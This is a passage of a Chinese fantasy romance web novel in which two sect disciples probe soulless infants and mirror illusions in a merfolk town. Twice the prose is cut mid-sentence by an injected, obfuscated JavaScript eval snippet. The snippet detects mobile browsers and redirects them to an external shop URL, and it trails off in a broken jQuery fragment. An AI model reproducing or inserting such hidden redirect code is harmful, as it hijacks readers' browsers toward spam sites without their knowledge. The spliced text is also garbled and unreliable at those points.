“是呢,” 女鲛人笑着走到陈澜面前,耐心解释,“这称心如意镜是我们鲛人镇特有的宝贝,不仅沧溟长老的府邸有,若是诸位仙长有心去镇上街巷瞧瞧,也会发现许多地方都安置着此镜。” 一旁的聆音师姐心思细腻,捕捉到关键,柔声问道:“那这镜子既然名叫称心如意,与寻常镜子相比,又有什么与众不同的地方?” “这位仙子问题问得真是时候。” 女鲛人笑容更深,“我正要与诸位仙长分说。” “这称心如意镜,顾名思义,就是能让照镜子的人……称心如意。” 她说着,目光转向陈澜,带着鼓励,“这位小仙长,可否麻烦你站到这镜子前面来?” “哦,好。” 陈澜很听话地依言站定在镜前。 “现在,”女鲛人的声音带着一丝引导的意味,“请小仙长闭上眼睛,试着去想象……你此刻心中最想看到的东西。” 陈澜依言闭目。 起初,镜面依旧映照着他自身和廊道的景象。 但渐渐地,那影像如同投入石子的水面,开始荡漾。随后,一点别样的色彩与轮廓从镜面缓缓浮现、显露。 翩翩站在稍后位置,也忍不住上前半步,伸脖子一瞧—— 那镜中哪里还有陈澜的影子? 竟是浮现出一只烤得金黄酥脆、油光锃亮、仿佛还冒着腾腾热气的烧鸡。 那诱人的色泽,仿若能隔着镜面闻到香味。 看饿了,真的。 陈澜恰好在此刻睁开眼,看到镜中那只硕大的烧鸡,先是一愣,“唰”地一下,小脸通红。 他不好意思地挠了挠头,嘿嘿傻笑起来,慌忙从镜前跳开。 众人见状,先是一静,然后爆发出善意的哄笑声,原本因镜廊而凝滞的气氛顿时活跃了不少。 聆音站到镜前,闭目片刻,再睁眼时,镜中出现的是一位面容慈祥、衣着朴素的凡人妇人。 正对着她温柔微笑。 聆音眼圈微红,低低唤了声“娘亲”。 显然那是她求仙问道后再未见过的亲人镜像。 而她旁边那位大腹便便的胖师兄,迫不及待地挤到一面镜前,闭眼凝神,脸上甚流露出一丝虔诚。 片刻后,镜中竟映出一位身段火辣、风情万种的女修形象。 翩翩:“……” 她默默移开视线,不忍直视。 胖师兄看清镜像后,老脸一红,随即像是被人踩了尾巴,嘟嘟囔囔着“这镜子不准!都是在胡闹!”,手忙脚乱地想要用他那宽大的袖子去遮挡镜面,引得众人又是一阵窃笑。 …… 最终,所有人的目光都不约而同地,投向了始终静立一旁、对此毫无兴趣的谢不舟。 这位谢师兄心性如何,所求何物,实在令人好奇至极。就连那引路的女鲛人,也带着探究的目光看向他。 几位胆大的弟子纷纷怂恿:“谢师兄,您也试试嘛!” “让我们也开开眼界!” “师兄心中所念,定是不同凡响!” 谁料,谢不舟眼皮都未抬一下,对这些起哄充耳不闻,反而将那双眸子,转向了正躲在人后看好戏的翩翩。 他目光精准地锁定她,在众人讶异的注视下,薄唇微启,声音清晰地传入每个人耳中: “师妹,你要不要去试试?” 翩翩:? 狗男人! 自己不想下水,倒是想把她推出去! 她在心里狠狠骂了一句,面上却迅速堆起一个皮笑肉不笑的表情,“谢师兄说笑了,连您都不尝试,弟子区区一个杂役,怎好意思僭越?” 气氛微妙,僵持不下。 那洞察人心的女鲛人适时开口,笑容依旧得体:“诸位仙长,沧溟大人还在正厅等候,时辰不早,要不……咱们先过去?” “这称心如意镜,待会儿若有闲暇,再试不迟。” 众人本就是对谢不舟的心思最为好奇,见他态度明确,不愿上前,自然也失了兴致,闻言纷纷附和,跟着女鲛人继续前行。 队伍重新移动。 谢不舟,落在了队伍最末尾,他步履从容,不紧不慢。 然而他的目光,却并未追随前方众人的背影,而是状似无意地,掠过两侧廊壁上,那一面面随着翩翩走过的称心如意镜。 起初是随意一瞥。 随即,他眼眸微微眯起,脚步几不可查地放缓。 一面,两面,三面…… 无论翩翩经过哪一面镜子,那光洁的镜面之上,皆是一片空茫。 没有浮现出任何她心中所想之物的镜像,甚至…… 连她本人的身形模样,都未曾映照出来。 谢不舟的眉头微蹙,看向前方那抹青色背影的眼神,愈发深沉难辨。 ———— “几位仙长大驾光临,有失远迎,恕罪恕罪。” 厅堂内,一位气质雍容的中年男子迎了上来。 他眸色深邃,五官和大多数鲛人一样立体,但眉宇间却积郁着一股化不开的愁绪。“鄙人沧溟,乃鲛人镇一介长老,掌管此地事务。” 众人跟他打过招呼,便依序落座。 谢不舟身份最高,自然坐在最靠近主位的地方。 翩翩本欲寻个最远的角落缩着,实在不愿多看那张曾送她往生的脸庞。 生怕夜间噩梦连连。 岂料,她脚步刚挪—— 便听得一声几不可闻的轻咳。 翩翩抬眼,正对上谢不舟瞥来的视线。 那眼神明明白白写着“近前”二字。 翩翩心下暗骂,却也只能乖顺地挪到他身侧的凳子上坐下。 如坐针毡。 经过这几日,同门虽对大师兄与这杂役小师妹之间的形影不离惊诧好奇。 但眼下有正事待办,倒也无人敢当面置喙。 “沧溟长老,” 谢不舟开门见山,嗓音清越,打破了厅内略显沉闷的气氛,“不知此番相邀,所为何事?” 提及正事,沧溟脸上那勉强堆起的笑容瞬间垮了下来,化作一声长叹:“唉,几位仙长一路行来,想必也瞧见了,我们这鲛人镇……已是许久未曾听闻婴儿啼哭之声了。” 他话音刚落,年纪最轻、性子也最跳脱的陈澜便忍不住插嘴:“莫非是此地太过荒凉,年轻人都外出谋生,不愿留下?” 说完自己也觉不妥,又猜测道,“还是说贵地也有那等专在嫁娶之时,掳走新娘的鬼故事?” 他自幼便爱搜罗些志怪话本。 沧溟苦笑着摇头:“小仙长说笑了。非是镇民不愿生养,实不相瞒,这些年,镇上新生的婴孩,并非没有。” “哦?” 这次发问的是谢不舟,他眸光微凝。 “仙长啊,” 沧溟面露难色,似有顾忌,最终还是一咬牙说道,“此事说来诡异,鄙人也是实在没办法了。近几年来,凡在我鲛人镇出生的婴孩,无一例外,皆患上了失魂之症!” “生下来瞧着四肢健全,模样周正,可……可不会哭,不会笑,甚至连呼吸都没有!” 他声音带着一丝颤抖,继续道:“我们镇上有见识的老人请了高人来看,都说……说这些孩儿,生来便没了魂魄!三魂七魄,一样也无!” “什么?” “天生无魂?这怎么可能!” 此言一出,满座皆惊。 人禀天地之气而生,魂魄俱全乃是常理,怎会有婴儿天生无魂? 这简直闻所未闻,悖逆天道! 翩翩亦是心头巨震,她蹙眉问道:“所以,沧溟长老请我等前来,是为查明这婴儿失魂的根源?” 沧溟眉头锁得更紧,搓了搓手,面上显出几分赧然与决绝:“鄙人虽生在这鲛人镇,却实在没什么达则兼济天下的情怀,此番劳烦诸位仙长,其实是为了——” 他顿了顿,朝厅堂一侧的贝壳屏风后扬声道,“汐娘,还不快出来见过诸位仙长!” 随着他话音落下,一名女子自屏风后走出。 女子生得极美,蓝眸如水,长发如瀑,耳后隐约可见细密的鳞片,只是身形略显笨拙,双手小心翼翼地护着腹部—— 那里已然隆起明显的弧度。 翩翩目光下移,心中了然。 原来是早已身怀六甲。 “这是鄙人的如夫人,汐娘。” 沧溟介绍道,语气中带着显而易见的怜惜与担忧。 话已至此,众人都明白了这沧溟长老把他们叫来这里的原因。 无非是这长老宠爱妾室,担忧其腹中骨肉步了前尘。 这才请来玉宸宗弟子,以求庇护。 保其顺利产下健康的孩儿。 然而—— “但是沧溟长老,” 陈澜再次开口,问出了众人心中共同的疑惑,“您既如此担忧,为何不直接将汐娘夫人送出鲛人镇,待她平安生产后,再接回府中?” “这样岂不更为稳妥?” 众人纷纷表示赞同,这确实是最直接有效的法子。 送出鲛人镇? 翩翩心下嗤笑。 若真能轻易送出,又何须大动干戈,请动仙门弟子? 这鲛人镇的诡异,恐怕远不止婴儿失魂这般简单。 果然,沧溟脸上血色褪去几分,嘴唇嗫嚅了几下,似有难言之隐,最终把心一横,豁出去般颤声道:“诸位仙长,非是鄙人不愿,实在是……实在是这鲛人镇,但凡鲛人牲畜,一旦踏入,便……” “便再难出去了啊!” ——— 夜色如墨,将这座深海府邸笼罩在无边的寂静里。 翩翩躺在铺了层薄褥的、冰凉似玉的地板上,辗转反侧。 而谢不舟则和衣端坐于房间中央那个巨大柔软,看上去就很好睡的海螺床之上,闭目调息。 室内只余彼此清浅的呼吸声,以及翩翩内心无声的哀嚎。 该死! 千刀万剐的谢不舟! 她回想起一个时辰前分配房间的情形,仍觉气血翻涌。 府邸空置的厢房众多,管家原本为每位仙长都安排了舒适的上房。 翩翩还没来得及为暂时摆脱谢不舟的监视而窃喜,便被那人拎着后衣襟。 如同提溜一只不听话的猫崽般。 径直拖进了他的房间。 对上翩翩几乎要喷出火的眼神和欲要骂人的表情,谢不舟只淡淡开口:“你莫不是忘了,缚心咒?” 缚心咒。 提及此术,翩翩更是气结。 那日谢不舟强行定下形影不离的规矩后,为防她阳奉阴违,竟在她身上种下了这缚心咒, 此乃元婴期以上修士方能施展的禁制之术,旨在彻底限制受术者的行动范围。 一旦她与他之间的距离超过十丈,便会引发经脉逆冲,痛彻心扉。 若敢试图挣脱更远…… 呵,翩翩在心冷笑。 怪不得这位师兄后来轻易允她些许自由,原是早埋下了这等阴损后手。 何况这缚心咒—— 翩翩看着自己手腕上出现在红色线状印记。 暗暗咬牙。 不是,谢不舟,你栓狗呢! 此刻,躺在硬邦邦的地板上,翩翩暗自将谢不舟的祖宗十八代都问候了一遍。 什么同吃同住,分明是他高床软枕。 她卧薪尝胆。 她强迫自己闭上眼,不去看那张令她心绪难平的脸。 许是日间奔波劳神,加之心中郁结,她本不易入眠…… 此刻竟觉神思昏沉。 不知不觉间,意识渐被一片空灵歌声包裹。 依稀间,似有缥缈的、如泣如诉的人鱼歌声,自极遥远的地方传来,带着深海回声,又带着一种哄诱孩童入睡般的温柔。 翩翩在一种心悸的窒息感中猛然惊醒。 那诡异的人鱼歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495776|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谣犹在耳畔萦绕。 而眼前的景象,更令她毛骨悚然。 厢房内,不知何时已被无数面一模一样的镜子充斥。 四周不再是墙壁,而是由镜子构成的镜宫,镜面反射出的光,映照着缓缓游动的、发光的深海生物。 那空灵的歌声,在这片迷镜中显得愈发清晰、诡异。 谢不舟! 她心头一紧,慌忙抬眼向旁边望去—— 哪里还有谢不舟的身影? 不是, 这谢不舟知不知道他俩还有缚心咒啊。 翩翩咬牙,强压下因缚心咒可能即将发作而产生的恐慌,猛地自地上跃起。 她必须立刻找到谢不舟。 她推开那扇已然变成巨大镜子的门,门外景象更是让她倒吸一口凉气—— 哪里还有什么珊瑚回廊、珍珠装饰? 目之所及,还是无穷无尽的镜子。 待她再回头,身后哪里还是方才的房间? 同样是一片镜海,无边无际。 这…… 这是阵法? 还是幻境? 翩翩心下骇然。 正自惊疑不定,忽觉前方幽暗的镜面中,似乎有一个模糊的人影,正静静地悬浮在那里。 那人影轮廓不清,仿佛与周围的黑暗融为一体,却又章示着一种无法忽视的存在感。 是谢不舟吗? 还是……别的什么东西? 翩翩心头一紧,握紧了袖中暗藏的符纸,小心翼翼地朝那人影的方向游去。 然而,无论她如何努力向前,那人影始终与她保持着一段不远不近的距离,仿佛只是黑暗中的一个幻影。 她拼命地跑,试图接近那个人影,或是找到任何边界,却发现自己仿佛在原地打转,怎么也游不出这片禁锢她的镜海。 就在她感到一丝绝望之际,手腕骤然一紧。 一股远超预料的大力,将她猛地向后一拽。 翩翩猝不及防,整个人不受控制地踉跄向后,霎那间,竟被一股不容抗拒的力道死死箍进了一个坚实的怀抱里。 翩翩彻底懵了。 这、这是唱的哪一出? 那清冽的的冷香铺天盖地地将她笼罩。 熟悉得让她心惊。 谢不舟的手臂如同铁铸,紧紧环住她的肩背,力道之大,几乎要让她喘不过气,骨头都发出了不堪重负的细微声响。 她僵硬地被他拥在怀中,脸颊被迫贴在他微凉的衣襟上,能清晰地感受到衣料下紧绷的肌肉和…… 那过于急促的心跳。 “终……终于……” 头顶传来谢不舟的声音,那素来清冷如玉磬的嗓音,此刻竟染上了难以抑制的沙哑与颤抖,仿佛压抑了千年的火山,终于寻到了喷薄的裂口。 “又能……触到你了,翩翩。” 翩翩:“……???” 她是不是也中了这镜子的邪,出现幻听了? “这些年……我……” 他将下颌抵在她发顶,手臂收得更紧,像是要将她揉碎嵌入骨血之中,声音低沉而痛楚,“寻你寻得好苦……日日思之,几近成狂。” 翩翩:“……” 她感觉自己快要窒息了,无论是身体上还是精神上。 这谢不舟莫不是被什么深海怨灵附身了? 她艰难地动了动,试图从这个令她惊悚的怀抱中挣脱出一丝缝隙,勉强开口道:“你……你先松开……我、我喘不过气了……” 岂料,她这话非但没能让他松手,反而像是刺激到了他。 谢不舟将她箍得更紧,埋首在她颈侧,灼热的呼吸喷洒在她敏感的肌肤上,激起一阵颤栗。 他兀自沉溺在自己的世界中,喃喃低语,语无伦次: “莫要再离开我……当年你突然消失……可知我心中之痛,剜心蚀骨……” “你送我的……,我一直贴身藏着……” “世人皆道我冷情,唯有你知我心中炽热……两情相悦,为何天道不容……” 翩翩起初还挣扎着。 听着听着,却渐渐察觉出不对劲来。 这谢不舟说的话…… 有鼻子有眼,细节丰富,情感充沛,完全不似现编。 可他口中这些过往,什么消失、什么物件、什么两情相悦…… 她这个当事人怎么半点印象也无? 等等! 电光石火间, 一个荒谬至极的念头猛地窜入翩翩脑海。 称心如意镜? 难不成谢不舟把她看成了朝思暮想的仙子? 不应该啊。 她刚刚听得很清楚,那谢不舟把她搂在怀里,嘴里还念念叨叨的名字—— 是翩翩。 这年头,还有仙子跟她撞名? 翩翩艰难地吞咽了一下,试图从谢不舟那些越来越肉麻、越来越离谱的倾诉中找回自己的声音:“那个……谢、谢师兄?你……你是不是认错人了?还是……中了什么邪术?” “你看清楚,我是翩翩,杂役弟子翩翩啊!” 然而,谢不舟仿佛充耳不闻,依旧紧紧抱着她,像是抱着失而复得的稀世珍宝,沉浸在久别重逢的激动与后怕中,低声诉说着根本子虚乌有的情深意重。 翩翩内心一片哀嚎。 这都什么事啊! 前世被他当成灾星追杀,最后惨死剑下。 重生回来,还没来得及低调保命,又被他当成隐患妖邪强行绑定。 现在更是深陷诡异幻境,还要被迫聆听仇人的深情告白…… 她上辈子到底是造了什么孽? 是写话本子造谣谢不舟,遭报应了吗? 就在翩翩觉得自己快要被这荒谬的现实和窒息的拥抱逼疯,考虑要不要咬他一口让他清醒清醒时, 周遭原本相对平静的镜子,忽然毫无征兆地剧烈晃动起来。 连带着那缥缈的人鱼歌声变得尖锐刺耳,仿佛无数鲛人在同时尖啸,直刺魂魄。 谢不舟抱着她的手臂猛地一僵。 翩翩只觉得更阴冷的气息从四面八方涌来。 瞬间冲散了那片刻的深情。 谢不舟周身的气息骤然变冷。 那股熟悉的、属于玉宸宗首徒的凛冽剑意再次升腾,甚至驱散了周遭的诡异气氛。 他猛地抬起头,怀抱翩翩的力道虽然未松,但眼神已不再是方才的迷茫痛楚,而是锐利如鹰隼,警惕地扫视着周围的镜面。 “……不对。” 他低声自语,声音恢复了惯常的冷澈,尽管还带着未褪尽的沙哑。 翩翩心中一动,小心翼翼地问:“……师兄?你……清醒了?” 谢不舟没有立刻回答,只是抿紧了薄唇。 他依旧紧紧握着她的手腕,仿佛那是唯一的浮木。 此刻,更迫在眉睫的危机,已然降临。 幽暗的镜廊远处,仿佛有模糊的人影,正透过外部层层涌动的海水, 无声地、贪婪地注视着他们这两个闯入者。 4. 第四章 “谁!” 谢不舟反应极快,他本能地将翩翩猛拽至身后,用自己的身躯严严实实地护住。 那柄名为善恶的巨剑应念而出—— 却并非以它原本那劈山断海般的惊人形态。 平日里太过惹眼,谢不舟早已习惯将其缩至手指大小。 此刻那拇指大小的善恶剑悬浮于他掌心之上,其形态虽小,却依旧散发着令人心悸的剑意与寒光。 “别别别!仙长饶命!自己人,都是自己人啊!” 一个惊慌失措的声音响起。 伴随着窸窣声响,一个身影连滚带爬地从一面镜子后钻出来,忙不迭地双手举过头顶,示意自己无害。 翩翩定睛一看。 来人穿着一身靛蓝色劲装,式样普通,像是某个小门派的制式服饰。 容貌则更是平平,丢入人海便再难寻见。 此刻那人在谢不舟的威压下,更是面色发白,抖如筛糠。 “大哥,前辈,道长!小的错了,小的不该躲在那里窥探,您行行好,先把您这……这神兵收起来成不?” 他哭丧着脸,几乎要跪地求饶。 然而,谢不舟操纵着善恶剑的手稳如磐石,他眼底发寒,脸色并未有半分动摇。 男子见求他无用,眼珠子一转,目光落在翩翩与谢不舟两人交握的手上,顿时像抓住了救命稻草,转而面向翩翩,说话的语气也愈发可怜。 “好姐姐,仙子!您快帮小的说句话,让这位仙长高抬贵手吧!小的,小的真不是坏人!” 被点名的翩翩,手腕还被谢不舟攥得生疼。 她能感受到他掌心的灼热与紧绷。 她尝试着轻轻动了动手指,挠了下谢不舟的掌心,低唤了一声:“谢师兄?” “……嗯?” 谢不舟闻声,竟真微微侧过头来,目光落在翩翩脸上。 那眼神不似旁日清明,反而带着一分懵懂的专注,犹如迷途的幼兽找到了凭依。 得,看来还没完全从魔怔中清醒过来。 翩翩心下无语,再次尝试抽手,却换来他更用力的禁锢。 谢不舟似乎格外紧张她的离开,仿佛稍一松手,她便会化作泡沫像鲛人话本那样消散。 翩翩无奈,只得试探着开口。她语气放得极缓极柔,像是在哄一个不讲理的孩子:“谢……不舟?你看,这位道友瞧着不像恶人,许是同样被困在此地的修士。不如……先把剑收回来,问问情况可好?” “收……回来。” 谢不舟低声重复着她的话,眼神依旧有些空茫,但动作却异常顺从。 翩翩话音才落,他便真的指尖一引。 “唰”地一声,微光闪过。 善恶小剑应声飞回,悬停在他身前。 那迫人的威压顿时消散。 那靛衣男子顿时长舒一口气,瘫软在地的同时,还不忘连连拱手:“多谢姐姐!多谢姐姐救命之恩!” 谢不舟习惯性地要将收回的善恶剑纳入袖中蕴养。 然而,指尖即将触及剑身的瞬间,他眼角的余光瞥见了身侧正小心翼翼观察他的翩翩。 他动作猛地一顿。 下一瞬,在翩翩和那靛衣男子惊愕的目光中,这位视剑如命的玉宸宗首徒,像是嫌弃什么污秽之物般,手腕一甩,将那名震仙门的本命仙剑善恶,毫不留情地…… 扔在了地上。 “啪嗒”一声轻响,在这寂静的环境中,却格外清晰。 翩翩:“…………” 对于剑修而言,本命仙剑堪比道侣,甚至犹有过之,珍视程度自然不言而喻。 这谢不舟是魔障入脑,连基本常识都没了吗? 老婆都能丢? 被粗暴对待的善恶剑发出一阵低沉的嗡鸣。 剑身光华都黯淡了几分,仿佛在委屈地控诉主人的无情。 而扔了剑的谢不舟,却仿佛完成了一件大事,转回头,目光重新胶着翩翩,带着一种近乎执拗的认真。 “翩翩……怕它。” 他顿了顿,眼神掠过十分痛楚,声音沙哑:“善恶……伤过她……” 翩翩:“???” 怕善恶剑? 善恶剑伤过她? 翩翩脑子里瞬间闪过无数她曾授意杜撰的话本桥段—— 什么仙魔大战中误伤挚爱啊,什么因爱生恨兵戎相见啊,什么虐恋情深最后一剑穿心啊…… 好家伙! 看来谢不舟脑袋里想的道侣,还是个主打相爱相杀、虐身虐心的宿敌。 闷骚啊。 怪不得他刚才抱她抱得那么用力,诉苦诉得那么情真意切。 合着在谢不舟被扭曲的认知里,他和那位……宿敌? 不仅有情,有的还是段充满了玻璃渣的孽缘。 翩翩简直哭笑不得。 她已经开始期待,期待这位谢师兄彻底清醒后,回想起自己此刻的言行,会是何等精彩的表现了。 光是想象一下,她都觉得方才被他勒疼的胳膊似乎也没那么难受了。 这时,那靛衣男子见危机解除,总算从地上爬了起来。 他拍了拍身上的尘土,心有余悸地又瞥了眼谢不舟,讪笑着对翩翩道:“多谢姐姐出言相助。在下见愁,乃药王谷内门弟子。不知二位……如何称呼?” 药王谷? 翩翩心思微动,此派虽不及玉宸宗势大,但精研丹药医理,在修真界也颇有名望。 “我叫翩翩,是玉宸宗的杂役弟子。” 她自我介绍道,然后看向身旁依旧紧紧抓着她手腕、对见愁视若无睹的谢不舟,叹了口气。 于是颇有些难以启齿地补充道,“这位……是我们玉宸宗的首徒大师兄,谢不舟。就是他方才不慎陷入了此地的魔障,神识受了些影响,脑子暂时有点……不清醒,道友莫怪。” “哦哦。” 出于礼貌,见愁点了点头,表示自己已然了解,目光却忍不住在谢不舟紧握翩翩的手和那张虽然俊美却透着空茫的脸上兜圈。 心下啧啧称奇。 就在这时,原本一直沉默盯着翩翩、对外界似乎毫无反应的谢不舟,却突然转过头,带刺的目光如实质般刺向见愁。 “即是药王谷的弟子,又为何会出现在这里?” 见愁被他这突如其来的发问吓了一跳,随即像是被戳到了痛处,恼恨得咬牙切齿:“还不是因为那个什么狗屁长老!” “打着发布任务的幌子,说是重金聘请我来调查鲛人镇婴儿失魂的隐秘。” “但你猜怎么着?” 他愤愤不平地啐了一口,“小爷我才刚到这儿,就发现这鬼地方压根就是个只进不出的牢笼!那长老见我这药王谷弟子一时半会儿也搞不清状况,觉得我不顶用,转头就把我丢到这里自生自灭去了!” “呸,什么玩意儿!” 见愁看了眼翩翩,又小心翼翼瞥了下气息冰冷的谢不舟,压低了声音道:“喂,看二位这架势,也是为了这事儿来的吧?听我一句劝,趁早歇了心思。” 他指了指周围影影绰绰、被浓雾笼罩的迷镜,神神秘秘地说道:“看到没?这阵仗……据说这鲛人镇啊,有修为通了天的妖邪坐镇!” “这镜宫,这歌声,就是给咱们这些闯入者的警告嘞!” 见愁显然是个话唠,一旦打开话匣子就有些收不住。 他打量着翩翩和谢不舟,又叹了口气,带着点同病相怜的意味:“唉,看你们也是被困在此地的可怜人,咱们好歹也算难兄难弟了。这样吧——” 他话音一顿,并指如刀,在掌心轻轻一划,殷红的血珠瞬间沁出。 他将流血的掌心缓缓按向湿润的地面,口中念念有词。 奇异的是—— 那血珠触地即融,仿佛被无处不在的镜面所吸收。 紧接着,周围浓得化不开的雾气中,那些血珠仿佛被无形的力量牵引,汇聚成一条极淡的、由鲜血组成的路径,向前延伸。 原本被浓雾和诡异歌声扭曲的镜宫景象如同被打碎般崩裂。 眨眼间,翩翩和谢不舟发现自己又站在了之前所住的厢房门口。 廊下水母灯笼摇曳,仿佛方才那诡异的迷镜与歌声只是一场幻梦。 “嘿嘿,”见愁擦了擦额角被吓出的汗,有些得意又有些赧然,“不瞒二位,小弟虽不善攻伐,但身为水灵根,在借助自身以及深海破除幻境和阵法一道还算略有涉猎。” “这鬼地方的镜子,走廊,乃至那鲛歌的波动,皆可为我所用。只盼二位若是将来真能找到出去的法子,莫要忘了捎带上小弟一把。” 他顿了顿,又小声嘟囔了一句,“虽然这种概率……怕是低得可怜就是了……” 翩翩心中惊异于见愁这独特的能力,连忙敛衽行了一礼:“今日多谢见愁道友出手相助,此情翩翩铭记于心。” 然而,一旁的谢不舟却依旧像根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495777|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木头似的杵在那里,对见愁的援手毫无表示。 甚至连个眼神都欠奉。 翩翩顿觉尴尬,干笑两声,连忙扯了扯谢不舟的衣袖,低声道:“走了,回房。” 几乎是半拉半拽地,她将这位状态异常的谢师兄拖回了房间。 关上房门,隔绝了外界。 或许是因谢不舟此刻浑浑噩噩、格外听话,翩翩的胆子不由肥了几分。 她双手叉腰,板起脸,拿出从前做城主时的几分气势,兴师问罪:“喂,你刚才为什么不跟见愁道友道谢?人家好歹帮了我们。” 谢不舟被她吼得一怔,那双漂亮的凤眸里竟掠过一丝委屈,在他那张常年冰块似的、高岭之花的脸上显得分外违和。 他抿了抿唇,低声道:“讨厌……他。” “啊?讨厌谁?” 谢不舟抬眸看了她一眼,眼神带着点控诉,声音闷闷的:“你方才……对他笑了。” 翩翩:“……” 天杀的! 翩翩嘴角控制不住地抽搐起来。 这谢不舟到底中的哪门子的邪? 敢情他不光是个恋爱脑,在想象中还是个酷坛子成精吗? 连对帮忙的陌生人笑一下都不行? 那被他爱慕着的那位宿敌也是很倒霉了。 看着眼前这个因为她对别人笑而闹别扭的谢不舟,再想想他平日那副众生皆蝼蚁的高傲模样。 强烈的反差让翩翩又是好气又是好笑。 罢了,跟一个中了魔障的人讲不通道理。 翩翩深吸一口气,决定行使一下被错认的特权。 她颐指气使地指着冰冷的地板:“今晚,你睡这里!” 谢不舟眨了眨眼,竟没有半分异议,很是乖顺地“哦”了一声。 便真的走到地板旁,和衣躺了下去。 翩翩看着他这般听话的模样,心中莫名升起一股翻身农奴把歌唱的扬眉吐气之感。 她得意地扬了扬下巴,终于能安心地躺回那张最终属于她的、柔软舒适的床榻之上。 然而,身体的疲惫并不能立刻带走她纷乱的思绪。 躺在黑暗中,那隐约的鲛人歌声似乎更加清晰了,如泣如诉,萦绕在耳畔。 翩翩开始冷静地思考起现状。 称心如意镜, 夜晚诡异的镜宫, 还有突然出现,又恰到好处通晓阵法之道的药王谷弟子…… 这鲛人镇的水,比她想象的要深得多。 正凝神思考间,忽然,她头顶的光线一暗,一个脑袋毫无征兆地探了过来。 “啊!”翩翩吓了一跳,定睛一看,却是谢不舟悄无声息地爬到了床边,正俯身,一瞬不瞬地、死死地盯着她。 “你干嘛?” 翩翩抚着狂跳的心口,没好气地低声斥道,“这么晚了还不睡?” 谢不舟的声音在黑暗中显得格外清晰,带着一丝不易察觉的依赖与不安:“睡不着。” “怎么?”翩翩下意识吐槽,“还要人哄你睡不成?” 她本是随口一说,却没料到,谢不舟竟顺着她的话,低低地“嗯”了一声,接着道:“怕睡着了……就看不见你了。” 那声音里带着毫不掩饰的眷恋,听得翩翩心头一跳,脸颊莫名有些发烫。 肉麻!当真是有够肉麻! 这恋爱脑的后劲儿也太足了! 她有些不自在地别开脸,敷衍地安抚道:“没事的,你安心睡,一觉醒来,我肯定还在的。” “你发誓?” 他不依不饶,执拗得像个小孩子。 “……我发誓。” 翩翩无奈,只得顺着他的话承诺。 许是得到了她的保证,谢不舟这才稍稍安心,默默地退回地铺躺下。 黑暗中,翩翩听着他逐渐均匀的呼吸声,自己也慢慢被睡意侵袭。 就在她意识朦胧,即将沉入梦乡之际,仿佛又听到地铺方向传来断断续续、几不可闻的呓语。 那呓语带着一种心满意足的喟叹,又隐含着难以言喻的悲凉: “真好……做了……有关她的梦……” “如果……是真的……就好了……” 那声音极轻,却像一根细小的羽毛,轻轻刮过翩翩的心尖,带来一阵微麻的酸涩。 她翻了个身,将脸埋入柔软的枕头,不再去深究那话语中蕴含的、她尚无法理解,也不愿去面对的情愫。 5. 第五章 入睡后的翩翩,发现自己并未得到真正的宁静。 意识仿佛被无形的丝线牵引,她再次沉入那片无边无际的镜宫中。 四周依旧是无穷无尽的镜子,空灵而诡谲的歌声若有似无地萦绕着她,水流堵塞她的呼吸。 她拼命往前奔跑,试图找到一丝不同的景象,却如同陷入鬼打墙。 无论朝哪个方向,最终都回到似曾相识的原点。 就在翩翩几近迷惘之际,眼前水波忽然淡去几分,镜宫深处, 竟隐约露出一个飞檐翘角的轮廓。 那是一个凉亭。 心中警铃大作,却又按捺不住探究的欲望,翩翩小心翼翼地挪步靠近。 凉亭中,朦胧立着两道身影。 靠得近些,方能看清是一男一女。 女子身段窈窕,虽看不清具体容貌,却能见她腹部明显隆起,如海藻般的墨发间,点缀着珍珠与贝壳,姿态娴静。 她似乎在笑,侧头望着身旁的男子,氛围温柔缱绻。 那男子身形比女子稍高,作儒生文士打扮,明显是个普通人类。 同样面容模糊,只能看出体态文弱,正微微倾身,似在与女子低语。 一幅才子佳人、岁月静好的画卷。 然而,不过数息间,异变陡生。 一阵暗流毫无征兆地卷地而起,搅动得无数细碎珍珠与贝壳如雨纷落。 珠光贝影迷离了视线,扑打在脸上,带着冰凉的触感。 待到这阵诡异的珠贝雨骤然停歇,翩翩急忙望向凉亭—— 女子依旧站在原地,身姿未变,只是…… 她原本隆起的腹部,竟已平坦如初。 而她怀中,多了一个襁褓。 女子低垂着头,目光温柔得近乎悲悯,轻轻摇晃着臂弯。 可她怀中的婴儿,却异样地安静,不哭,不闹,甚至连细微的动弹都无。 如同一尊没有生命的瓷娃娃。 失魂的婴儿! 翩翩心头巨震,下意识想要上前看个究竟。 就在她抬脚的刹那,一股极其冰冷的气息自她身侧贴了上来。 脖颈处瞬间传来一种被冰冷锋刃抵住的触感。 那气息…… 竟有几分熟悉? 是那亭中那男女搞的鬼? 他们何时到了自己身后? 翩翩还未来得及做出任何反应—— “呃!” 她猛地从床榻上弹坐起来,大口喘着气,额际冷汗涔涔,心脏狂跳不止,仿佛要挣脱胸腔的束缚。 是梦…… 她刚松了一口气,抬手欲擦拭冷汗,动作却猛地僵在半空。 脖颈上,那冰冷锋利的触感…… 并非幻觉。 她缓缓地转动眼珠,看向床侧。 只见谢不舟不知何时已然起身,正漠然地站在她的床头。 他身姿挺拔如松,面容恢复了往日的冰封雪塑,再无昨夜半分懵懂与依赖。 而那柄昨夜被他嫌弃丢弃的善恶剑,如今正稳稳地横在她脖颈前。 剑锋散发的寒意,激得她肌肤起了一层细小的颗粒。 